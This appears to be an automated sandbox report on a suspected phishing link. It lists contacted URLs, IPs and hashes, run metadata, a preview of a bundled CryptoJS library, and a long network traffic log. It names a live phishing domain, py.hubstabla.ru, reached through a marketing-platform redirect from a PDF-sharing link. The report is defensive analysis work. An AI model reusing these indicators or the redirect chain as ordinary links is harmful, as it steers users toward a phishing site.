https://sks.mrkhub.com/track/impressions?origin=https://www.pdffiller.com&initialPage=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Dfalse%26routeId%3D7e6058c3c2cfc0c35e64ebfda2d729ea%23652dbb9ebce848019b59684b5941e680	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1299115620:1734617518:dCksU5Rt3geYWf_vrkmS-aKr8TtssM3ngo3vNiKxX2Q/8f486bd1c9f9dd24/kq5akwmMSmguAfazEQiwq411yQ40O8BaRRdR.mCRFQo-1734622093-1.1.1.1-mg.t_K6SLPoujm5bwTcagC.fQEQelRE27mD5qeUXLk6cUCRZ1BP85K_yjv_UlmHz	false	high
https://www.upsellit.com/active/pdffiller.jsp	false	high
https://static.pdffiller.com/static/support-static/514/organisations/pdffiller/stylesheet/modals/feedback-modals.min.css	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8f486bd1c9f9dd24/1734622095011/6TwEDB0g4X1hLJ9	false	high
https://api.usrsprt.com/api/chat/check?user_id=2066364496&user_name&company_id=1&fp=79bb95f3-eb96-4fe0-84b2-01a58d0e9c0b&chat_id	false	high
https://a.nel.cloudflare.com/report/v4?s=7%2Brav%2BT6qT0iXJ9PXRPVYxuuG0u70yFeFJpKd2zx1MpL6OpJ7tAklh8YtyHgpY40z0eXoKejIA0snO8fLV1T2esfDwNbDa%2BYWTYoJoCX6ZIh5tW8upirE4qGcedkZQ%3D%3D	false	high
https://www.pdffiller.com/jsfiller-desk19/?flat_pdf_quality=high&isShareViaLink=1&requestHash=a2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2&lang=en&projectId=1720458241&PAGE_REARRANGE_V2_MVP=true&richTextFormatting=true&isPageRearrangeV2MVP=true&jsf-page-rearrange-v2=true&jsf-redesign-full=true&act-notary-pro-integration=true&isSkipEditorLoadFrequency=true&jsf-desktop-ux-for-tablets=false&jsf-probability-70=true&jsf-socket-io=false&jsf-simplified-modes-iteration-1=false&jsf-offline-mode=false&routeId=7e6058c3c2cfc0c35e64ebfda2d729ea#652dbb9ebce848019b59684b5941e680	false	high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	high
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfcwRVL5AEAAAA?target={%22TargetUrl%22%3A%22https%253A%252F%252Fpy.hubstabla.ru%252FsoYF%252F%22%2C%22RedirectOptions%22%3A{%225%22%3Anull%2C%221%22%3Anull}}&digest=f0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	false	high
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/cp/yuBJq0y44kKNqEfcwRVL5Lmaz4rUnwxAhlFIGFF9u7U	false	high
https://support-backend.usrsprt.com/api/pdffiller/chat/get-src	false	high
https://py.hubstabla.ru/soYF/#msdynmkt_trackingcontext=ab49e0ca-b84c-42e2-8da8-47dcc1154be4	false	unknown
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/test	false	high
https://pdf.ac/3eQ2md	false	unknown
https://py.hubstabla.ru/soYF/	true	unknown
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfcwRVL5AEAAAA?target={%22TargetUrl%22%3A%22https%253A%252F%252Fpy.hubstabla.ru%252FsoYF%252F%22%2C%22RedirectOptions%22%3A{%225%22%3Anull%2C%221%22%3Anull}}&digest=f0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee#msdynmkt_trackingcontext=1957d54c-409a-4710-952c-d090fbbc3d70	false	high
https://o178032.ingest.us.sentry.io/api/4508088791072768/envelope/?sentry_key=c1dd57b0b03fd991762bee3e1ec2bf4c&sentry_version=7&sentry_client=sentry.javascript.react%2F8.35.0	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f486bd1c9f9dd24&lang=auto	false	high

Name	Source	Malicious	Reputation
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfc	chromecache_315.1.dr	false	high
https://stats.g.doubleclick.net/g/collect	chromecache_224.1.dr, chromecache_272.1.dr	false	high
https://www.upsellit.com/launch/blank.jsp?aff_click=	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://www.upsellit.com/launch/blank.jsp?pixel_found=	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://q.quora.com/_/ad/	chromecache_376.1.dr	false	high
https://www.google.com	chromecache_242.1.dr	false	high
https://www.youtube.com/iframe_api	chromecache_224.1.dr, chromecache_219.1.dr, chromecache_376.1.dr, chromecache_272.1.dr	false	high
https://github.com/fent)	chromecache_226.1.dr, chromecache_233.1.dr	false	high
http://www.hooverwebdesign.com	chromecache_236.1.dr, chromecache_240.1.dr	false	unknown
https://www.upsellit.com/launch/blank.jsp?user_id_missed_email=	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://googleads.g.doubleclick.net	chromecache_242.1.dr	false	high
https://www.upsellit.com/active/pdffiller_pixel.jsp	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://app.upsellit.com	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/cp/TNVXGZpAEEeVLNC	chromecache_315.1.dr	false	high
https://cct.google/taggy/agent.js	chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	false	unknown
https://www.upsellit.com	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://www.upsellit.com/active/pdffiller_pixel.jsp?v=1	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://www.upsellit.com/active/pdffiller_pixel.jsp?v=2	chromecache_207.1.dr, chromecache_301.1.dr	false	high
https://td.doubleclick.net	chromecache_224.1.dr, chromecache_219.1.dr, chromecache_350.1.dr, chromecache_200.1.dr, chromecache_376.1.dr, chromecache_246.1.dr, chromecache_272.1.dr, chromecache_242.1.dr	false	high
https://prod.upsellit.com	chromecache_207.1.dr, chromecache_301.1.dr	false	unknown
https://www.merchant-center-analytics.goog	chromecache_224.1.dr, chromecache_272.1.dr	false	high
https://a.quora.com/qevents.js	chromecache_219.1.dr, chromecache_376.1.dr	false	high
https://google.com	chromecache_242.1.dr	false	high
https://adservice.google.com/pagead/regclk?	chromecache_242.1.dr	false	high
https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/cp/yuBJq0y44kKNqEf	chromecache_370.1.dr	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.214.227	unknown	United States	13335	CLOUDFLARENETUS	false
54.167.24.157	sks.mrkhub.com	United States	14618	AMAZON-AESUS	false
44.220.125.16	unknown	United States	14618	AMAZON-AESUS	false
34.199.247.225	fga.infrateam.net	United States	14618	AMAZON-AESUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
3.223.235.15	api.usrsprt.com	United States	14618	AMAZON-AESUS	false
216.137.45.56	cdn.mrkhub.com	United States	16509	AMAZON-02US	false
18.164.78.8	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
65.8.178.99	unknown	United States	16509	AMAZON-02US	false
18.64.155.98	d22ae2h56hzn7.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.67.168.1	sjj8xagxlhit5lkygqpdxl2nzrouque6xhsij2rqxih9v9x1py6qvpiv.ygncsqvu.ru	United States	13335	CLOUDFLARENETUS	false
74.125.21.105	www.google.com	United States	15169	GOOGLEUS	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
54.210.199.224	static.pdffiller.com	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
173.194.216.155	td.doubleclick.net	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
34.192.116.100	pdf.ac	United States	14618	AMAZON-AESUS	false
140.82.112.3	github.com	United States	36459	GITHUBUS	false
64.233.176.99	unknown	United States	15169	GOOGLEUS	false
34.237.249.87	support-backend.usrsprt.com	United States	14618	AMAZON-AESUS	false
104.21.16.173	py.hubstabla.ru	United States	13335	CLOUDFLARENETUS	true
216.137.45.75	unknown	United States	16509	AMAZON-02US	false
3.161.193.65	d2rn6xhdztxqr5.cloudfront.net	United States	16509	AMAZON-02US	false
74.125.134.157	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
172.217.203.106	unknown	United States	15169	GOOGLEUS	false
104.21.74.88	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
34.117.39.58	www.upsellit.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.199.110.133	unknown	Netherlands	54113	FASTLYUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
107.23.185.4	unknown	United States	14618	AMAZON-AESUS	false
13.32.230.98	cdn.usrsprt.com	United States	16509	AMAZON-02US	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
108.156.83.19	unknown	United States	16509	AMAZON-02US	false
34.120.195.249	o178032.ingest.us.sentry.io	United States	15169	GOOGLEUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578377
Start date and time:	2024-12-19 16:25:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://pdf.ac/3eQ2md
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@23/368@117/39

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 16:27:16.374897957 CET	137	137	192.168.11.20	192.168.11.255
Dec 19, 2024 16:27:17.139806032 CET	137	137	192.168.11.20	192.168.11.255
Dec 19, 2024 16:27:17.905181885 CET	137	137	192.168.11.20	192.168.11.255
Dec 19, 2024 16:27:23.953749895 CET	51163	1900	192.168.11.20	239.255.255.250
Dec 19, 2024 16:27:23.954468012 CET	53	52350	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:23.994333029 CET	53	51162	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:24.957724094 CET	51163	1900	192.168.11.20	239.255.255.250
Dec 19, 2024 16:27:24.996699095 CET	53	53274	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:25.960335970 CET	51163	1900	192.168.11.20	239.255.255.250
Dec 19, 2024 16:27:26.186264992 CET	53	60095	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:26.975764036 CET	51163	1900	192.168.11.20	239.255.255.250
Dec 19, 2024 16:27:27.216428041 CET	137	137	192.168.11.20	192.168.11.255
Dec 19, 2024 16:27:27.975286961 CET	137	137	192.168.11.20	192.168.11.255
Dec 19, 2024 16:27:28.520613909 CET	60518	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:28.520673990 CET	55073	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:28.662040949 CET	53	55073	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:28.662070990 CET	53	60518	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:28.738452911 CET	137	137	192.168.11.20	192.168.11.255
Dec 19, 2024 16:27:29.675056934 CET	52620	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:29.675079107 CET	65063	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:29.818329096 CET	53	65063	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:29.897991896 CET	53	52620	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:30.761612892 CET	59179	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:30.761640072 CET	58960	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.522375107 CET	51935	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.522437096 CET	63020	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.522713900 CET	65196	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.522768974 CET	59982	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.522860050 CET	56261	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.522950888 CET	65349	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.668694019 CET	53	59982	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:34.683336973 CET	53	56261	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:34.684773922 CET	53	65196	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:34.701195955 CET	53	65349	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:34.713078976 CET	58670	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:34.713157892 CET	64656	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.148652077 CET	58272	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.148761034 CET	57375	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.968626022 CET	58968	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.968717098 CET	53163	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.976037025 CET	61052	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.976116896 CET	62666	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.998980045 CET	56478	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:36.999007940 CET	50749	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:37.111824036 CET	53	58968	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:37.112904072 CET	53	53163	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:37.141681910 CET	53	56478	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:37.186183929 CET	53	50749	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:38.214224100 CET	52692	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:38.214381933 CET	61681	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:38.215346098 CET	65447	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:38.215416908 CET	59931	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:38.356811047 CET	53	61681	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:38.357822895 CET	53	59931	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:38.359164000 CET	53	52692	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:38.360627890 CET	53	65447	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:38.617039919 CET	54317	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:38.617167950 CET	53395	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:39.451347113 CET	53	57330	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:39.895194054 CET	53332	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:39.895436049 CET	57463	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:40.037748098 CET	53	57463	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:40.039108038 CET	53	53332	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:40.893851042 CET	55812	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:40.893933058 CET	51728	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.153196096 CET	49502	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.153251886 CET	52147	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.236448050 CET	53	58221	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:41.288455009 CET	53	49502	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:41.295006990 CET	53	52147	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:41.345765114 CET	58556	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.345844984 CET	56312	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.365638971 CET	53	59724	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:41.824218035 CET	51786	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.824297905 CET	63330	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:41.835575104 CET	53	62393	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:41.966854095 CET	53	63330	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:41.970247984 CET	53	51786	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:42.725146055 CET	63740	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:42.725308895 CET	61435	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:42.861363888 CET	53	63740	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:42.866503000 CET	53	61435	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:43.147841930 CET	58000	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:43.147927046 CET	56614	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:43.290604115 CET	53	56614	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:43.317189932 CET	53	58000	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:43.944642067 CET	56469	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:43.944731951 CET	52687	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.007827044 CET	63307	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.008291960 CET	54388	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.090133905 CET	53	52687	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:44.098150969 CET	53	56469	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:44.145787954 CET	53	63307	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:44.145849943 CET	53	54388	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:44.186259985 CET	61959	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.186362028 CET	58770	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.321975946 CET	53	61959	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:44.330960035 CET	53	58770	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:44.984674931 CET	56162	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.984759092 CET	62052	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.993810892 CET	64891	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:44.993931055 CET	65492	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.126846075 CET	53	62052	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.127089024 CET	53	56162	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.136358976 CET	53	64891	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.137940884 CET	53	65492	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.829452991 CET	60079	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.829531908 CET	56506	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.837313890 CET	62477	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.837387085 CET	54195	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.837800026 CET	51715	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.837873936 CET	53911	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.840373039 CET	49934	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.840512037 CET	61865	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.871697903 CET	63225	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.871805906 CET	58980	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:45.970938921 CET	53	56506	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.971714973 CET	53	60079	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.973156929 CET	53	51715	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.974649906 CET	53	54195	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.980407953 CET	53	53911	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:45.982521057 CET	53	61865	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.014331102 CET	53	63225	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.037494898 CET	53	58980	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.240947008 CET	62412	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:46.241031885 CET	64718	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:46.245379925 CET	53435	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:46.245455027 CET	59299	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:46.290841103 CET	53	63292	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.383925915 CET	53	64718	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.385464907 CET	53	62412	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.387264967 CET	53	59299	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:46.394467115 CET	53	53435	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:47.107887983 CET	55061	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.108050108 CET	61986	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.156609058 CET	53383	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.156699896 CET	55590	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.183938026 CET	54647	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.184026957 CET	57018	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.244101048 CET	53	61986	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:47.293349981 CET	53	55590	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:47.320830107 CET	60785	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.320935011 CET	58994	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:47.325562000 CET	53	57018	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:47.326025009 CET	53	54647	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:47.457154036 CET	53	60785	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:47.464504004 CET	53	58994	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:48.111140013 CET	55338	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:48.111202002 CET	51105	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:27:48.247348070 CET	53	55338	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:48.252887011 CET	53	51105	1.1.1.1	192.168.11.20
Dec 19, 2024 16:27:53.613248110 CET	53	52801	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:03.352165937 CET	61143	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:03.352236986 CET	58921	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:08.309072971 CET	53	52450	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:08.521327972 CET	50883	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:08.521418095 CET	64468	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:08.878314018 CET	61214	53	192.168.11.20	9.9.9.9
Dec 19, 2024 16:28:08.878508091 CET	49231	53	192.168.11.20	9.9.9.9
Dec 19, 2024 16:28:08.965672016 CET	53	50883	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:08.973438978 CET	53	64468	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:09.140439987 CET	53	61214	9.9.9.9	192.168.11.20
Dec 19, 2024 16:28:09.155558109 CET	53	49231	9.9.9.9	192.168.11.20
Dec 19, 2024 16:28:10.436043978 CET	53047	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:10.436136961 CET	55295	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:10.436566114 CET	57790	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:10.436657906 CET	64375	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:10.436831951 CET	51274	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:10.436922073 CET	62753	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:10.572771072 CET	53	51274	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:10.573422909 CET	53	62753	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:10.577838898 CET	53	55295	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:10.578346014 CET	53	53047	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:10.578587055 CET	53	57790	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:10.579134941 CET	53	64375	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:11.517107010 CET	57636	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:11.517221928 CET	49342	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:11.555957079 CET	55857	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:11.556039095 CET	52935	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:11.652988911 CET	53	57636	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:11.659010887 CET	53	49342	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:11.691288948 CET	53	52935	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:11.692250967 CET	53	55857	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:12.184952021 CET	51856	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:12.185067892 CET	63172	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:12.193121910 CET	59595	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:12.193227053 CET	53417	53	192.168.11.20	1.1.1.1
